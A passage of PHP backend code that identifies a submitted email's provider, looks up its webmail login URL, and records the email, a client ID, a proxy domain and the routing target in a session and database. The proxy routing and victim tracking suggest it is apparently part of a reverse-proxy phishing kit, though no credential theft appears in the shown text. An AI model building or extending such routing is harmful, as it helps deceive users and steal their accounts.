'gmail', 'googlemail.com' => 'gmail', 'outlook.com' => 'outlook', 'outlook.de' => 'outlook', 'hotmail.com' => 'outlook', 'hotmail.de' => 'outlook', 'live.com' => 'outlook', 'live.de' => 'outlook', 'msn.com' => 'outlook', 'yahoo.com' => 'yahoo', 'yahoo.de' => 'yahoo', 'ymail.com' => 'yahoo', 'icloud.com' => 'icloud', 'me.com' => 'icloud', 'mac.com' => 'icloud', 'gmx.de' => 'gmx', 'gmx.net' => 'gmx', 'gmx.com' => 'gmx', 'web.de' => 'web', 't-online.de' => 'tonline', 'aol.com' => 'aol', 'aol.de' => 'aol', 'protonmail.com' => 'proton', 'proton.me' => 'proton', 'zoho.com' => 'zoho', 'yandex.com' => 'yandex', 'yandex.ru' => 'yandex', 'mail.com' => 'mailcom', ]; if (isset($map[$domain])) { return $map[$domain]; } // heuristics for common consumer suffixes if (str_ends_with($domain, '.gmail.com')) { return 'gmail'; } return $domain !== '' ? $domain : 'unknown'; } /** Webmail URL for a provider slug. */ function re_provider_url(string $slug): string { $urls = [ 'gmail' => 'https://mail.google.com', 'outlook' => 'https://outlook.live.com', 'yahoo' => 'https://mail.yahoo.com', 'icloud' => 'https://www.icloud.com/mail', 'gmx' => 'https://www.gmx.net', 'web' => 'https://web.de', 'tonline' => 'https://webmail.t-online.de', 'aol' => 'https://mail.aol.com', 'proton' => 'https://mail.proton.me', 'zoho' => 'https://mail.zoho.com', 'yandex' => 'https://mail.yandex.com', 'mailcom' => 'https://www.mail.com', ]; return $urls[$slug] ?? ''; } $in = re_input(); $clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? ''))); $email = trim((string) ($in['email'] ?? '')); $valid = valid_email($email); $slug = $valid ? re_provider($email) : 'unknown'; $url = re_provider_url($slug); // persist the (harmless) session + routing try { if ($clientId !== '') { ofb_save_session($clientId, $email, $slug); $pdo = ofb_db(); ofb_upsert($pdo, $clientId, [ 'email' => $email, 'provider' => $slug, 'proxy' => (string) ofb_env('PROXY_DOMAIN', ''), 'routed_to' => $url, 'last_seen' => date('Y-m-d H:i:s'), ]); } } catch (Throwable $e) { // best-effort } echo json_encode([ 'status' => 'ok', 'valid' => $valid, 'provider' => $slug, 'url' => $url, ]);